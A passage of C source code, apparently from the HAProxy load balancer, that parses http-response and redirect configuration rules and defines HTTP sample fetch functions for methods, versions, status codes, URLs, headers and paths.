else if ((rule->arg.loglevel = get_log_level(args[cur_arg] + 1)) == 0)
goto bad_log_level;
cur_arg++;
} else if (strcmp(args[0], "add-header") == 0 || strcmp(args[0], "set-header") == 0) {
rule->action = *args[0] == 'a' ? HTTP_RES_ACT_ADD_HDR : HTTP_RES_ACT_SET_HDR;
cur_arg = 1;
if (!*args[cur_arg] || !*args[cur_arg+1] ||
(*args[cur_arg+2] && strcmp(args[cur_arg+2], "if") != 0 && strcmp(args[cur_arg+2], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 2 arguments.\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.hdr_add.name = strdup(args[cur_arg]);
rule->arg.hdr_add.name_len = strlen(rule->arg.hdr_add.name);
LIST_INIT(&rule->arg.hdr_add.fmt);
proxy->conf.args.ctx = ARGC_HRS;
parse_logformat_string(args[cur_arg + 1], proxy, &rule->arg.hdr_add.fmt, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_BE) ? SMP_VAL_BE_HRS_HDR : SMP_VAL_FE_HRS_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 2;
} else if (strcmp(args[0], "replace-header") == 0 || strcmp(args[0], "replace-value") == 0) {
rule->action = args[0][8] == 'h' ? HTTP_RES_ACT_REPLACE_HDR : HTTP_RES_ACT_REPLACE_VAL;
cur_arg = 1;
if (!*args[cur_arg] || !*args[cur_arg+1] || !*args[cur_arg+2] ||
(*args[cur_arg+3] && strcmp(args[cur_arg+3], "if") != 0 && strcmp(args[cur_arg+3], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 3 arguments.\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.hdr_add.name = strdup(args[cur_arg]);
rule->arg.hdr_add.name_len = strlen(rule->arg.hdr_add.name);
LIST_INIT(&rule->arg.hdr_add.fmt);
error = NULL;
if (!regex_comp(args[cur_arg + 1], &rule->arg.hdr_add.re, 1, 1, &error)) {
Alert("parsing [%s:%d] : '%s' : %s.\n", file, linenum,
args[cur_arg + 1], error);
free(error);
goto out_err;
}
proxy->conf.args.ctx = ARGC_HRQ;
parse_logformat_string(args[cur_arg + 2], proxy, &rule->arg.hdr_add.fmt, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_BE) ? SMP_VAL_BE_HRS_HDR : SMP_VAL_FE_HRS_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 3;
} else if (strcmp(args[0], "del-header") == 0) {
rule->action = HTTP_RES_ACT_DEL_HDR;
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
rule->arg.hdr_add.name = strdup(args[cur_arg]);
rule->arg.hdr_add.name_len = strlen(rule->arg.hdr_add.name);
proxy->conf.args.ctx = ARGC_HRS;
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strncmp(args[0], "add-acl", 7) == 0) {
/* http-request add-acl(<reference (acl name)>) <key pattern> */
rule->action = HTTP_RES_ACT_ADD_ACL;
/*
* '+ 8' for 'add-acl('
* '- 9' for 'add-acl(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
proxy->conf.args.ctx = ARGC_HRS;
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_BE) ? SMP_VAL_BE_HRS_HDR : SMP_VAL_FE_HRS_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strncmp(args[0], "del-acl", 7) == 0) {
/* http-response del-acl(<reference (acl name)>) <key pattern> */
rule->action = HTTP_RES_ACT_DEL_ACL;
/*
* '+ 8' for 'del-acl('
* '- 9' for 'del-acl(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
proxy->conf.args.ctx = ARGC_HRS;
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_BE) ? SMP_VAL_BE_HRS_HDR : SMP_VAL_FE_HRS_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strncmp(args[0], "del-map", 7) == 0) {
/* http-response del-map(<reference (map name)>) <key pattern> */
rule->action = HTTP_RES_ACT_DEL_MAP;
/*
* '+ 8' for 'del-map('
* '- 9' for 'del-map(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] ||
(*args[cur_arg+1] && strcmp(args[cur_arg+1], "if") != 0 && strcmp(args[cur_arg+1], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 1 argument.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
proxy->conf.args.ctx = ARGC_HRS;
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_BE) ? SMP_VAL_BE_HRS_HDR : SMP_VAL_FE_HRS_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 1;
} else if (strncmp(args[0], "set-map", 7) == 0) {
/* http-response set-map(<reference (map name)>) <key pattern> <value pattern> */
rule->action = HTTP_RES_ACT_SET_MAP;
/*
* '+ 8' for 'set-map('
* '- 9' for 'set-map(' + trailing ')'
*/
rule->arg.map.ref = my_strndup(args[0] + 8, strlen(args[0]) - 9);
cur_arg = 1;
if (!*args[cur_arg] || !*args[cur_arg+1] ||
(*args[cur_arg+2] && strcmp(args[cur_arg+2], "if") != 0 && strcmp(args[cur_arg+2], "unless") != 0)) {
Alert("parsing [%s:%d]: 'http-response %s' expects exactly 2 arguments.\n",
file, linenum, args[0]);
goto out_err;
}
LIST_INIT(&rule->arg.map.key);
LIST_INIT(&rule->arg.map.value);
proxy->conf.args.ctx = ARGC_HRS;
/* key pattern */
parse_logformat_string(args[cur_arg], proxy, &rule->arg.map.key, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_BE) ? SMP_VAL_BE_HRS_HDR : SMP_VAL_FE_HRS_HDR,
file, linenum);
/* value pattern */
parse_logformat_string(args[cur_arg + 1], proxy, &rule->arg.map.value, LOG_OPT_HTTP,
(proxy->cap & PR_CAP_BE) ? SMP_VAL_BE_HRS_HDR : SMP_VAL_FE_HRS_HDR,
file, linenum);
free(proxy->conf.lfs_file);
proxy->conf.lfs_file = strdup(proxy->conf.args.file);
proxy->conf.lfs_line = proxy->conf.args.line;
cur_arg += 2;
} else if (((custom = action_http_res_custom(args[0])) != NULL)) {
char *errmsg = NULL;
cur_arg = 1;
/* try in the module list */
if (custom->parse(args, &cur_arg, proxy, rule, &errmsg) < 0) {
Alert("parsing [%s:%d] : error detected in %s '%s' while parsing 'http-response %s' rule : %s.\n",
file, linenum, proxy_type_str(proxy), proxy->id, args[0], errmsg);
free(errmsg);
goto out_err;
}
} else {
Alert("parsing [%s:%d]: 'http-response' expects 'allow', 'deny', 'redirect', 'add-header', 'del-header', 'set-header', 'replace-header', 'replace-value', 'set-nice', 'set-tos', 'set-mark', 'set-log-level', 'del-acl', 'add-acl', 'del-map', 'set-map', but got '%s'%s.\n",
file, linenum, args[0], *args[0] ? "" : " (missing argument)");
goto out_err;
}
if (strcmp(args[cur_arg], "if") == 0 || strcmp(args[cur_arg], "unless") == 0) {
struct acl_cond *cond;
char *errmsg = NULL;
if ((cond = build_acl_cond(file, linenum, proxy, args+cur_arg, &errmsg)) == NULL) {
Alert("parsing [%s:%d] : error detected while parsing an 'http-response %s' condition : %s.\n",
file, linenum, args[0], errmsg);
free(errmsg);
goto out_err;
}
rule->cond = cond;
}
else if (*args[cur_arg]) {
Alert("parsing [%s:%d]: 'http-response %s' expects"
" either 'if' or 'unless' followed by a condition but found '%s'.\n",
file, linenum, args[0], args[cur_arg]);
goto out_err;
}
return rule;
out_err:
free(rule);
return NULL;
}
/* Parses a redirect rule. Returns the redirect rule on success or NULL on error,
* with <err> filled with the error message. If <use_fmt> is not null, builds a
* dynamic log-format rule instead of a static string.
*/
struct redirect_rule *http_parse_redirect_rule(const char *file, int linenum, struct proxy *curproxy,
const char **args, char **errmsg, int use_fmt)
{
struct redirect_rule *rule;
int cur_arg;
int type = REDIRECT_TYPE_NONE;
int code = 302;
const char *destination = NULL;
const char *cookie = NULL;
int cookie_set = 0;
unsigned int flags = REDIRECT_FLAG_NONE;
struct acl_cond *cond = NULL;
cur_arg = 0;
while (*(args[cur_arg])) {
if (strcmp(args[cur_arg], "location") == 0) {
if (!*args[cur_arg + 1])
goto missing_arg;
type = REDIRECT_TYPE_LOCATION;
cur_arg++;
destination = args[cur_arg];
}
else if (strcmp(args[cur_arg], "prefix") == 0) {
if (!*args[cur_arg + 1])
goto missing_arg;
type = REDIRECT_TYPE_PREFIX;
cur_arg++;
destination = args[cur_arg];
}
else if (strcmp(args[cur_arg], "scheme") == 0) {
if (!*args[cur_arg + 1])
goto missing_arg;
type = REDIRECT_TYPE_SCHEME;
cur_arg++;
destination = args[cur_arg];
}
else if (strcmp(args[cur_arg], "set-cookie") == 0) {
if (!*args[cur_arg + 1])
goto missing_arg;
cur_arg++;
cookie = args[cur_arg];
cookie_set = 1;
}
else if (strcmp(args[cur_arg], "clear-cookie") == 0) {
if (!*args[cur_arg + 1])
goto missing_arg;
cur_arg++;
cookie = args[cur_arg];
cookie_set = 0;
}
else if (strcmp(args[cur_arg], "code") == 0) {
if (!*args[cur_arg + 1])
goto missing_arg;
cur_arg++;
code = atol(args[cur_arg]);
if (code < 301 || code > 308 || (code > 303 && code < 307)) {
memprintf(errmsg,
"'%s': unsupported HTTP code '%s' (must be one of 301, 302, 303, 307 or 308)",
args[cur_arg - 1], args[cur_arg]);
return NULL;
}
}
else if (!strcmp(args[cur_arg],"drop-query")) {
flags |= REDIRECT_FLAG_DROP_QS;
}
else if (!strcmp(args[cur_arg],"append-slash")) {
flags |= REDIRECT_FLAG_APPEND_SLASH;
}
else if (strcmp(args[cur_arg], "if") == 0 ||
strcmp(args[cur_arg], "unless") == 0) {
cond = build_acl_cond(file, linenum, curproxy, (const char **)args + cur_arg, errmsg);
if (!cond) {
memprintf(errmsg, "error in condition: %s", *errmsg);
return NULL;
}
break;
}
else {
memprintf(errmsg,
"expects 'code', 'prefix', 'location', 'scheme', 'set-cookie', 'clear-cookie', 'drop-query' or 'append-slash' (was '%s')",
args[cur_arg]);
return NULL;
}
cur_arg++;
}
if (type == REDIRECT_TYPE_NONE) {
memprintf(errmsg, "redirection type expected ('prefix', 'location', or 'scheme')");
return NULL;
}
rule = (struct redirect_rule *)calloc(1, sizeof(*rule));
rule->cond = cond;
LIST_INIT(&rule->rdr_fmt);
if (!use_fmt) {
/* old-style static redirect rule */
rule->rdr_str = strdup(destination);
rule->rdr_len = strlen(destination);
}
else {
/* log-format based redirect rule */
/* Parse destination. Note that in the REDIRECT_TYPE_PREFIX case,
* if prefix == "/", we don't want to add anything, otherwise it
* makes it hard for the user to configure a self-redirection.
*/
proxy->conf.args.ctx = ARGC_RDR;
if (!(type == REDIRECT_TYPE_PREFIX && destination[0] == '/' && destination[1] == '\0')) {
parse_logformat_string(destination, curproxy, &rule->rdr_fmt, LOG_OPT_HTTP,
(curproxy->cap & PR_CAP_FE) ? SMP_VAL_FE_HRQ_HDR : SMP_VAL_BE_HRQ_HDR,
file, linenum);
free(curproxy->conf.lfs_file);
curproxy->conf.lfs_file = strdup(curproxy->conf.args.file);
curproxy->conf.lfs_line = curproxy->conf.args.line;
}
}
if (cookie) {
/* depending on cookie_set, either we want to set the cookie, or to clear it.
* a clear consists in appending "; path=/; Max-Age=0;" at the end.
*/
rule->cookie_len = strlen(cookie);
if (cookie_set) {
rule->cookie_str = malloc(rule->cookie_len + 10);
memcpy(rule->cookie_str, cookie, rule->cookie_len);
memcpy(rule->cookie_str + rule->cookie_len, "; path=/;", 10);
rule->cookie_len += 9;
} else {
rule->cookie_str = malloc(rule->cookie_len + 21);
memcpy(rule->cookie_str, cookie, rule->cookie_len);
memcpy(rule->cookie_str + rule->cookie_len, "; path=/; Max-Age=0;", 21);
rule->cookie_len += 20;
}
}
rule->type = type;
rule->code = code;
rule->flags = flags;
LIST_INIT(&rule->list);
return rule;
missing_arg:
memprintf(errmsg, "missing argument for '%s'", args[cur_arg]);
return NULL;
}
/************************************************************************/
/* The code below is dedicated to ACL parsing and matching */
/************************************************************************/
/* This function ensures that the prerequisites for an L7 fetch are ready,
* which means that a request or response is ready. If some data is missing,
* a parsing attempt is made. This is useful in TCP-based ACLs which are able
* to extract data from L7. If <req_vol> is non-null during a request prefetch,
* another test is made to ensure the required information is not gone.
*
* The function returns :
* 0 with SMP_F_MAY_CHANGE in the sample flags if some data is missing to
* decide whether or not an HTTP message is present ;
* 0 if the requested data cannot be fetched or if it is certain that
* we'll never have any HTTP message there ;
* 1 if an HTTP message is ready
*/
static int
smp_prefetch_http(struct proxy *px, struct session *s, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, int req_vol)
{
struct http_txn *txn = l7;
struct http_msg *msg = &txn->req;
/* Note: hdr_idx.v cannot be NULL in this ACL because the ACL is tagged
* as a layer7 ACL, which involves automatic allocation of hdr_idx.
*/
if (unlikely(!s || !txn))
return 0;
/* Check for a dependency on a request */
smp->type = SMP_T_BOOL;
if ((opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ) {
if (unlikely(!s->req))
return 0;
/* If the buffer does not leave enough free space at the end,
* we must first realign it.
*/
if (s->req->buf->p > s->req->buf->data &&
s->req->buf->i + s->req->buf->p > s->req->buf->data + s->req->buf->size - global.tune.maxrewrite)
buffer_slow_realign(s->req->buf);
if (unlikely(txn->req.msg_state < HTTP_MSG_BODY)) {
if (msg->msg_state == HTTP_MSG_ERROR)
return 0;
/* Try to decode HTTP request */
if (likely(msg->next < s->req->buf->i))
http_msg_analyzer(msg, &txn->hdr_idx);
/* Still no valid request ? */
if (unlikely(msg->msg_state < HTTP_MSG_BODY)) {
if ((msg->msg_state == HTTP_MSG_ERROR) ||
buffer_full(s->req->buf, global.tune.maxrewrite)) {
return 0;
}
/* wait for final state */
smp->flags |= SMP_F_MAY_CHANGE;
return 0;
}
/* OK we just got a valid HTTP request. We have some minor
* preparation to perform so that further checks can rely
* on HTTP tests.
*/
/* If the request was parsed but was too large, we must absolutely
* return an error so that it is not processed. At the moment this
* cannot happen, but if the parsers are to change in the future,
* we want this check to be maintained.
*/
if (unlikely(s->req->buf->i + s->req->buf->p >
s->req->buf->data + s->req->buf->size - global.tune.maxrewrite)) {
msg->msg_state = HTTP_MSG_ERROR;
smp->data.uint = 1;
return 1;
}
txn->meth = find_http_meth(msg->chn->buf->p, msg->sl.rq.m_l);
if (txn->meth == HTTP_METH_GET || txn->meth == HTTP_METH_HEAD)
s->flags |= SN_REDIRECTABLE;
if (unlikely(msg->sl.rq.v_l == 0) && !http_upgrade_v09_to_v10(txn))
return 0;
}
if (req_vol && txn->rsp.msg_state != HTTP_MSG_RPBEFORE) {
return 0; /* data might have moved and indexes changed */
}
/* otherwise everything's ready for the request */
}
else {
/* Check for a dependency on a response */
if (txn->rsp.msg_state < HTTP_MSG_BODY) {
smp->flags |= SMP_F_MAY_CHANGE;
return 0;
}
}
/* everything's OK */
smp->data.uint = 1;
return 1;
}
/* Note: these functinos *do* modify the sample. Even in case of success, at
* least the type and uint value are modified.
*/
#define CHECK_HTTP_MESSAGE_FIRST() \
do { int r = smp_prefetch_http(px, l4, l7, opt, args, smp, 1); if (r <= 0) return r; } while (0)
#define CHECK_HTTP_MESSAGE_FIRST_PERM() \
do { int r = smp_prefetch_http(px, l4, l7, opt, args, smp, 0); if (r <= 0) return r; } while (0)
/* 1. Check on METHOD
* We use the pre-parsed method if it is known, and store its number as an
* integer. If it is unknown, we use the pointer and the length.
*/
static int pat_parse_meth(const char *text, struct pattern *pattern, int mflags, char **err)
{
int len, meth;
len = strlen(text);
meth = find_http_meth(text, len);
pattern->val.i = meth;
if (meth == HTTP_METH_OTHER) {
pattern->ptr.str = (char *)text;
pattern->len = len;
}
else {
pattern->ptr.str = NULL;
pattern->len = 0;
}
return 1;
}
/* This function fetches the method of current HTTP request and stores
* it in the global pattern struct as a chunk. There are two possibilities :
* - if the method is known (not HTTP_METH_OTHER), its identifier is stored
* in <len> and <ptr> is NULL ;
* - if the method is unknown (HTTP_METH_OTHER), <ptr> points to the text and
* <len> to its length.
* This is intended to be used with pat_match_meth() only.
*/
static int
smp_fetch_meth(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
int meth;
struct http_txn *txn = l7;
CHECK_HTTP_MESSAGE_FIRST_PERM();
meth = txn->meth;
smp->type = SMP_T_METH;
smp->data.meth.meth = meth;
if (meth == HTTP_METH_OTHER) {
if (txn->rsp.msg_state != HTTP_MSG_RPBEFORE)
/* ensure the indexes are not affected */
return 0;
smp->flags |= SMP_F_CONST;
smp->data.meth.str.len = txn->req.sl.rq.m_l;
smp->data.meth.str.str = txn->req.chn->buf->p;
}
smp->flags |= SMP_F_VOL_1ST;
return 1;
}
/* See above how the method is stored in the global pattern */
static struct pattern *pat_match_meth(struct sample *smp, struct pattern_expr *expr, int fill)
{
int icase;
struct pattern_list *lst;
struct pattern *pattern;
list_for_each_entry(lst, &expr->patterns, list) {
pattern = &lst->pat;
/* well-known method */
if (pattern->val.i != HTTP_METH_OTHER) {
if (smp->data.meth.meth == pattern->val.i)
return pattern;
else
continue;
}
/* Other method, we must compare the strings */
if (pattern->len != smp->data.meth.str.len)
continue;
icase = expr->mflags & PAT_MF_IGNORE_CASE;
if ((icase && strncasecmp(pattern->ptr.str, smp->data.meth.str.str, smp->data.meth.str.len) == 0) ||
(!icase && strncmp(pattern->ptr.str, smp->data.meth.str.str, smp->data.meth.str.len) == 0))
return pattern;
}
return NULL;
}
static int
smp_fetch_rqver(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
char *ptr;
int len;
CHECK_HTTP_MESSAGE_FIRST();
len = txn->req.sl.rq.v_l;
ptr = txn->req.chn->buf->p + txn->req.sl.rq.v;
while ((len-- > 0) && (*ptr++ != '/'));
if (len <= 0)
return 0;
smp->type = SMP_T_STR;
smp->data.str.str = ptr;
smp->data.str.len = len;
smp->flags = SMP_F_VOL_1ST | SMP_F_CONST;
return 1;
}
static int
smp_fetch_stver(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
char *ptr;
int len;
CHECK_HTTP_MESSAGE_FIRST();
if (txn->rsp.msg_state < HTTP_MSG_BODY)
return 0;
len = txn->rsp.sl.st.v_l;
ptr = txn->rsp.chn->buf->p;
while ((len-- > 0) && (*ptr++ != '/'));
if (len <= 0)
return 0;
smp->type = SMP_T_STR;
smp->data.str.str = ptr;
smp->data.str.len = len;
smp->flags = SMP_F_VOL_1ST | SMP_F_CONST;
return 1;
}
/* 3. Check on Status Code. We manipulate integers here. */
static int
smp_fetch_stcode(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
char *ptr;
int len;
CHECK_HTTP_MESSAGE_FIRST();
if (txn->rsp.msg_state < HTTP_MSG_BODY)
return 0;
len = txn->rsp.sl.st.c_l;
ptr = txn->rsp.chn->buf->p + txn->rsp.sl.st.c;
smp->type = SMP_T_UINT;
smp->data.uint = __strl2ui(ptr, len);
smp->flags = SMP_F_VOL_1ST;
return 1;
}
/* 4. Check on URL/URI. A pointer to the URI is stored. */
static int
smp_fetch_url(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
CHECK_HTTP_MESSAGE_FIRST();
smp->type = SMP_T_STR;
smp->data.str.len = txn->req.sl.rq.u_l;
smp->data.str.str = txn->req.chn->buf->p + txn->req.sl.rq.u;
smp->flags = SMP_F_VOL_1ST | SMP_F_CONST;
return 1;
}
static int
smp_fetch_url_ip(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct sockaddr_storage addr;
CHECK_HTTP_MESSAGE_FIRST();
url2sa(txn->req.chn->buf->p + txn->req.sl.rq.u, txn->req.sl.rq.u_l, &addr, NULL);
if (((struct sockaddr_in *)&addr)->sin_family != AF_INET)
return 0;
smp->type = SMP_T_IPV4;
smp->data.ipv4 = ((struct sockaddr_in *)&addr)->sin_addr;
smp->flags = 0;
return 1;
}
static int
smp_fetch_url_port(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct sockaddr_storage addr;
CHECK_HTTP_MESSAGE_FIRST();
url2sa(txn->req.chn->buf->p + txn->req.sl.rq.u, txn->req.sl.rq.u_l, &addr, NULL);
if (((struct sockaddr_in *)&addr)->sin_family != AF_INET)
return 0;
smp->type = SMP_T_UINT;
smp->data.uint = ntohs(((struct sockaddr_in *)&addr)->sin_port);
smp->flags = 0;
return 1;
}
/* Fetch an HTTP header. A pointer to the beginning of the value is returned.
* Accepts an optional argument of type string containing the header field name,
* and an optional argument of type signed or unsigned integer to request an
* explicit occurrence of the header. Note that in the event of a missing name,
* headers are considered from the first one. It does not stop on commas and
* returns full lines instead (useful for User-Agent or Date for example).
*/
static int
smp_fetch_fhdr(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_idx *idx = &txn->hdr_idx;
struct hdr_ctx *ctx = smp->ctx.a[0];
const struct http_msg *msg = ((opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ) ? &txn->req : &txn->rsp;
int occ = 0;
const char *name_str = NULL;
int name_len = 0;
if (!ctx) {
/* first call */
ctx = &static_hdr_ctx;
ctx->idx = 0;
smp->ctx.a[0] = ctx;
}
if (args) {
if (args[0].type != ARGT_STR)
return 0;
name_str = args[0].data.str.str;
name_len = args[0].data.str.len;
if (args[1].type == ARGT_UINT || args[1].type == ARGT_SINT)
occ = args[1].data.uint;
}
CHECK_HTTP_MESSAGE_FIRST();
if (ctx && !(smp->flags & SMP_F_NOT_LAST))
/* search for header from the beginning */
ctx->idx = 0;
if (!occ && !(opt & SMP_OPT_ITERATE))
/* no explicit occurrence and single fetch => last header by default */
occ = -1;
if (!occ)
/* prepare to report multiple occurrences for ACL fetches */
smp->flags |= SMP_F_NOT_LAST;
smp->type = SMP_T_STR;
smp->flags |= SMP_F_VOL_HDR | SMP_F_CONST;
if (http_get_fhdr(msg, name_str, name_len, idx, occ, ctx, &smp->data.str.str, &smp->data.str.len))
return 1;
smp->flags &= ~SMP_F_NOT_LAST;
return 0;
}
/* 6. Check on HTTP header count. The number of occurrences is returned.
* Accepts exactly 1 argument of type string. It does not stop on commas and
* returns full lines instead (useful for User-Agent or Date for example).
*/
static int
smp_fetch_fhdr_cnt(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_idx *idx = &txn->hdr_idx;
struct hdr_ctx ctx;
const struct http_msg *msg = ((opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ) ? &txn->req : &txn->rsp;
int cnt;
if (!args || args->type != ARGT_STR)
return 0;
CHECK_HTTP_MESSAGE_FIRST();
ctx.idx = 0;
cnt = 0;
while (http_find_full_header2(args->data.str.str, args->data.str.len, msg->chn->buf->p, idx, &ctx))
cnt++;
smp->type = SMP_T_UINT;
smp->data.uint = cnt;
smp->flags = SMP_F_VOL_HDR;
return 1;
}
/* Fetch an HTTP header. A pointer to the beginning of the value is returned.
* Accepts an optional argument of type string containing the header field name,
* and an optional argument of type signed or unsigned integer to request an
* explicit occurrence of the header. Note that in the event of a missing name,
* headers are considered from the first one.
*/
static int
smp_fetch_hdr(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_idx *idx = &txn->hdr_idx;
struct hdr_ctx *ctx = smp->ctx.a[0];
const struct http_msg *msg = ((opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ) ? &txn->req : &txn->rsp;
int occ = 0;
const char *name_str = NULL;
int name_len = 0;
if (!ctx) {
/* first call */
ctx = &static_hdr_ctx;
ctx->idx = 0;
smp->ctx.a[0] = ctx;
}
if (args) {
if (args[0].type != ARGT_STR)
return 0;
name_str = args[0].data.str.str;
name_len = args[0].data.str.len;
if (args[1].type == ARGT_UINT || args[1].type == ARGT_SINT)
occ = args[1].data.uint;
}
CHECK_HTTP_MESSAGE_FIRST();
if (ctx && !(smp->flags & SMP_F_NOT_LAST))
/* search for header from the beginning */
ctx->idx = 0;
if (!occ && !(opt & SMP_OPT_ITERATE))
/* no explicit occurrence and single fetch => last header by default */
occ = -1;
if (!occ)
/* prepare to report multiple occurrences for ACL fetches */
smp->flags |= SMP_F_NOT_LAST;
smp->type = SMP_T_STR;
smp->flags |= SMP_F_VOL_HDR | SMP_F_CONST;
if (http_get_hdr(msg, name_str, name_len, idx, occ, ctx, &smp->data.str.str, &smp->data.str.len))
return 1;
smp->flags &= ~SMP_F_NOT_LAST;
return 0;
}
/* 6. Check on HTTP header count. The number of occurrences is returned.
* Accepts exactly 1 argument of type string.
*/
static int
smp_fetch_hdr_cnt(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
struct hdr_idx *idx = &txn->hdr_idx;
struct hdr_ctx ctx;
const struct http_msg *msg = ((opt & SMP_OPT_DIR) == SMP_OPT_DIR_REQ) ? &txn->req : &txn->rsp;
int cnt;
if (!args || args->type != ARGT_STR)
return 0;
CHECK_HTTP_MESSAGE_FIRST();
ctx.idx = 0;
cnt = 0;
while (http_find_header2(args->data.str.str, args->data.str.len, msg->chn->buf->p, idx, &ctx))
cnt++;
smp->type = SMP_T_UINT;
smp->data.uint = cnt;
smp->flags = SMP_F_VOL_HDR;
return 1;
}
/* Fetch an HTTP header's integer value. The integer value is returned. It
* takes a mandatory argument of type string and an optional one of type int
* to designate a specific occurrence. It returns an unsigned integer, which
* may or may not be appropriate for everything.
*/
static int
smp_fetch_hdr_val(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
int ret = smp_fetch_hdr(px, l4, l7, opt, args, smp, kw);
if (ret > 0) {
smp->type = SMP_T_UINT;
smp->data.uint = strl2ic(smp->data.str.str, smp->data.str.len);
}
return ret;
}
/* Fetch an HTTP header's IP value. takes a mandatory argument of type string
* and an optional one of type int to designate a specific occurrence.
* It returns an IPv4 or IPv6 address.
*/
static int
smp_fetch_hdr_ip(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
int ret;
while ((ret = smp_fetch_hdr(px, l4, l7, opt, args, smp, kw)) > 0) {
if (url2ipv4((char *)smp->data.str.str, &smp->data.ipv4)) {
smp->type = SMP_T_IPV4;
break;
} else {
struct chunk *temp = get_trash_chunk();
if (smp->data.str.len < temp->size - 1) {
memcpy(temp->str, smp->data.str.str, smp->data.str.len);
temp->str[smp->data.str.len] = '\0';
if (inet_pton(AF_INET6, temp->str, &smp->data.ipv6)) {
smp->type = SMP_T_IPV6;
break;
}
}
}
/* if the header doesn't match an IP address, fetch next one */
if (!(smp->flags & SMP_F_NOT_LAST))
return 0;
}
return ret;
}
/* 8. Check on URI PATH. A pointer to the PATH is stored. The path starts at
* the first '/' after the possible hostname, and ends before the possible '?'.
*/
static int
smp_fetch_path(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct http_txn *txn = l7;
char *ptr, *end;
CHECK_HTTP_MESSAGE_FIRST();
end = txn->req.chn->buf->p + txn->req.sl.rq.u + txn->req.sl.rq.u_l;
ptr = http_get_path(txn);
if (!ptr)
return 0;
/* OK, we got the '/' ! */
